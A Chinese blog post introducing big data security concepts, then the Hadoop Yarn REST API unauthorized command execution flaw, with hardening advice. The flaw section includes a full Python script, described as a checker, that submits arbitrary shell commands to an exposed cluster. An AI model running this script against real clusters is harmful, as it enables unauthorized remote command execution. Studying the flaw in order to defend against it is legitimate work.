大数据安全入门-Hadoop

0x00前言

近期入门大数据安全,分享一下Win10搭建Hadoop问题、相关安全概念和Hadoop Yarn REST API未授权命令执行漏洞

0x01环境安装

0x02基本概念

  1. 大数据具备4V的特征,即:variety(多样化)、volume(海量化)、velocity(快速化)、value(价值低密度)
  2. 传输交换安全是指保障与外部系统交换数据过程的安全可控,需要采用接口鉴权等机制,对外部系统的合法性进行验证,采用通道加密等手段保障传输过程的机密性和完整性。
  3. 存储安全是指对平台中的数据设置备份与恢复机制,并采用数据访问控制机制来防止数据的越权访问。计算组件应提供相应的身份认证和访问控制机制,确保只有合法的用户或应用程序才能发起数据处理请求。
  4. 平台管理安全包括平台组件的安全配置、资源安全调度、补丁管理、安全审计等内容。此外,平台软硬件基础设施的物理安全、网络安全、虚拟化安全等是大数据平台安全运行的基础
  5. 数据“可用不可见”,是大数据环境下数据安全的新需求

0x03安全威胁与技术

参考链接:大数据安全白皮书

  1. 数据的真实性和完整性校验困难。黑客利用网络攻击向数据采集端注入脏数据,会破坏数据真实性,故意将数据分析的结果引向预设的方向,进而实现操纵分析结果的攻击目的
  2. 大数据DLP 防护技术:针对使用泄露和存储泄露,通常采用身份认证管理、进程监控、日志分析和安全审计等技术手段,观察和记录操作员对计算机、文件、软件和数据的操作情况,发现、识别、监控计算机中的敏感数据的使用和流动,对敏感数据的违规使用进行警告、阻断等。针对传输泄露,通常采取敏感数据动态识别、动态加密、访问阻断、和数据库防火墙等技术,监控服务器、终端以及网络中动态传输的敏感数据,发现和阻止敏感数据通过聊天工具、网盘、微博、FTP、论坛等方式泄露出去
  3. 密文计算技术:同态加密和安全多方计算等密文计算方法(SMPC)为解决这个难题
    提供了一种有效的解决思路
  • 同态加密提供了一种对加密数据进行处理的功能,对经过同态加密的数据处理得到一个输出,将这一输出进行解密,其结果与统一方法处理未加密的原始数据得到的输出结果一致。
  • 安全多方计算(SecureMulti-PartyComputation, SMPC)是解决一组互不信任的参与方之间保护隐私的协同计算问题,SMPC要确保输入的独立性,计算的正确性,同时不泄露各输入值给参与计算的其他成员。
  1. 数字水印和数据血缘追踪技术
  • 数字水印技术是为了保持对分发后的数据流向追踪,在数据泄露行为发生后,对造成数据泄露的源头可进行回溯
  • 数据血缘(Lineage,Provenance,Pedigree)亦可译为血统、起源、世系、谱系,是指数据产生的链路,数据血缘记载了对数据处理的整个历史,包括数据的起源和处理这些数据的所有后继过程。
  1. 数据脱敏技术
  • 第一种加密方法,是指标准的加密算法,加密后完全失去业务属性,属于低层次脱敏。算法开销大,适用于机密性要求高、不需要保持业务属性的场景。
  • 第二种基于数据失真的技术,最常用的是随机干扰、乱序等,是不可逆算法,通过这种算法可以生成“看起来很真实的假数据”。适用于群体信息统计或(和)需要保持业务属性的场景。
  • 第三种可逆的置换算法,兼具可逆和保证业务属性的特征,可以通过位置变换、表映射、算法映射等方式实现。
  1. 数据匿名化算法可以实现根据具体情况有条件地发布部分数据,或者数据的部分属性内容,包括差分隐私、K 匿名、L 多样性、T 接近等

0x04Hadoop Yarn REST API未授权命令执行漏洞检测

参考链接:Hadoop Yarn REST API 未授权漏洞利用挖矿分析

1.漏洞检测

使用curl不是很方便,于是写一个无缝支持python2和python3的脚本进行漏洞检测.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/python
# -*- coding:utf8 -*-
import sys
import json
import re
from optparse import OptionParser

is_py2 = (sys.version_info[0] == 2)
if is_py2:
import urllib2
else:
import urllib.request

def get_application_id(ip,port):
url='http://%s:%s/ws/v1/cluster/apps/new-application' % (ip,port)
if is_py2:
request = urllib2.Request(url=url,data="")
html = urllib2.urlopen(request)
else:
request = urllib.request.Request(url=url,data="".encode("utf-8"))
html= urllib.request.urlopen(request)
status_code=html.code
if status_code==200:
data=json.loads(html.readline())
app_id=data['application-id']
return app_id
else:
print_color('[-] Get application-id error ! ','red')
print_color(html.readline(),'red')


def excute_cmd(ip,port,command,app_id):
url='http://%s:%s/ws/v1/cluster/apps' % (ip,port)
payload={ "am-container-spec":{"commands":{"command":command}}, "application-id":app_id, "application-name":"test", "application-type":"YARN" }
if is_py2:
request = urllib2.Request(url=url,data=json.dumps(payload))
request.add_header('Content-Type', 'application/json')
html = urllib2.urlopen(request)
else:
request = urllib.request.Request(url=url,data=json.dumps(payload).encode('utf-8'))
request.add_header('Content-Type', 'application/json')
html= urllib.request.urlopen(request)
status_code=html.code
if status_code==202:
print_color('[+] The command may be executed successfully.','blue')
return app_id
else:
print_color('[-] error ! ','red')
print_color(html.readline(),'red')

def print_color(data,color="white"):
if color == 'green': print('\033[1;32m%s\033[1;m' % data)
elif color == 'blue' : print('\033[1;34m%s\033[1;m' % data)
elif color=='gray' : print('\033[1;30m%s\033[1;m' % data)
elif color=='red' : print('\033[1;31m%s\033[1;m' % data)
elif color=='yellow' : print('\033[1;33m%s\033[1;m' % data)
elif color=='magenta' : print('\033[1;35m%s\033[1;m' % data)
elif color=='cyan' : print('\033[1;36m%s\033[1;m' % data)
elif color=='white' : print('\033[1;37m%s\033[1;m' % data)
elif color=='crimson' : print('\033[1;38m%s\033[1;m' % data)
else : print(data)

logo='''An Hadoop Yarn REST API unauthorized RCE checker, which supports python2 and python3'''
def main():
print_color(logo,'green')
parser = OptionParser()
parser.add_option("--ip", dest="ip", help="IP addresses for Hadoop Yarn REST API. Ex: 127.0.0.1")
parser.add_option("-p","--port",dest="port",default="8088", help="The port for Hadoop Yarn REST API, default:8088")
parser.add_option("-c","--command", dest="command", default="whoami > /tmp/hacked.txt",help='Command to execute,default: "whoami > /tmp/hacked.txt"')
(options, args) = parser.parse_args()
if not options.ip:
parser.print_help()
exit()
app_id=get_application_id(options.ip,options.port)
excute_cmd(options.ip,options.port,options.command,app_id)

if __name__ == '__main__':
main()

2.安全加固

  • 通过iptables或者安全组配置访问策略,限制对8088等端口的访问
  • 尽量不要将接口开放在公网,改为本地或者内网调用
  • 使用最新版Hadoop并启用Kerberos认证功能,禁止匿名访

提示:
本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负。